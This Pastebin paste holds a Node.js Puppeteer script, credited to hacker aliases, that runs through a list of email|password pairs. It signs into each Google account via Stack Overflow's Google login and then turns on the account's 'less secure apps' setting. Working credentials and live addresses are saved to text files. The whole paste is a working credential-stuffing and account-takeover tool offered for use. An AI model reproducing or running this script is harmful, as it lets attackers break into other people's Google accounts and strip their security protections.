H1RUK4

Mass LessSecure

Jun 23rd, 2020
444
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /**
  2.  * @LessSecure | WibuHeker
  3.  * Powered By XaiSyndicate.id
  4.  * npm install puppeteer colors fs
  5.  * node file.js LIST.txt
  6.  */
  7. const Pupet = require('puppeteer');
  8. const Colors = require('colors');
  9. const fs = require('fs');
  10. var Counter;
  11. var Empass;
  12. var Total = 0;
  13. var C = 1;
  14. const LessSecure = async () => {
  15.     if (Counter >= Total) {
  16.         console.log(Colors.blue('[DONE]'));
  17.         process.exit();
  18.     }
  19.     const [user, pass] = Empass[Counter].split('|', 2);
  20.     const Browser = await Pupet.launch({
  21.         args: ['--no-sandbox'],
  22.         headless: false
  23.     });
  24.     const Page = await Browser.newPage()
  25.     await Page.goto('https://stackoverflow.com/users/signup?ssrc=head&returnurl=%2fusers%2fstory%2fcurrent', { waitUntil: 'networkidle0'})
  26.     try {
  27.         await (await Page.waitForXPath('//*[@id="openid-buttons"]/button[1]', { timeout: 3000})).click();
  28.         try {
  29.             await (await Page.waitForXPath('//*[@id="identifierId"]', { timeout: 3000  })).type(user);
  30.             await (await Page.waitForXPath('//*[@id="identifierNext"]/span')).click();
  31.             await Page.waitFor(3000);
  32.             try {
  33.                 await Page.keyboard.type(pass)
  34.                 await Page.keyboard.press(String.fromCharCode(13))
  35.                 await Page.waitFor(3000);
  36.                 await Page.goto('https://myaccount.google.com/lesssecureapps?pli=1');
  37.                 await Page.waitFor(3000);
  38.                 if (await Page.$('#yDmH0d > c-wiz > div > div:nth-child(3) > c-wiz > div > div.hyMrOd > div:nth-child(1) > div > div > div > div.N9Ni5 > div > div.rbsY8b > div') !== null) {
  39.                     await Page.click('#yDmH0d > c-wiz > div > div:nth-child(3) > c-wiz > div > div.hyMrOd > div:nth-child(1) > div > div > div > div.N9Ni5 > div > div.rbsY8b > div');
  40.                     console.log(`${Colors.green('[SUCCESS]')} [${C}/${Total}] ${user} | ${pass}`);
  41.                     fs.appendFileSync('SUCCESS_LESSSECURE.txt', Empass[Counter] + "\n");
  42.                 } else {
  43.                     console.log(`${Colors.red('[PasswordWrong]')} [${C}/${Total}] ${user} | ${pass}`);
  44.                     fs.appendFileSync('Live_Email.TXT', user + "\n");
  45.                 }
  46.             } catch (e) {
  47.                 console.log(`${Colors.red('[UserNotFound]')} [${C}/${Total}] ${user} | ${pass}`);
  48.             }
  49.         } catch (e) {
  50.             console.log(`${Colors.red('[Failed]')} [${C}/${Total}] ${user} | ${pass}`);
  51.         }
  52.     } catch (e) {
  53.         console.log(`${Colors.red('[Failed]')} [${C}/${Total}] ${user} | ${pass}`);
  54.     }
  55.     Counter++;
  56.     C++;
  57.     Browser.close();
  58.     await LessSecure();
  59. }
  60. (async () => {
  61.     Empass = fs.readFileSync(process.argv[2], 'utf8').split('\n');
  62.     Total = Empass.length;
  63.     Counter = 0;
  64.     await LessSecure();
  65. })();
Add Comment
Please, Sign In to add comment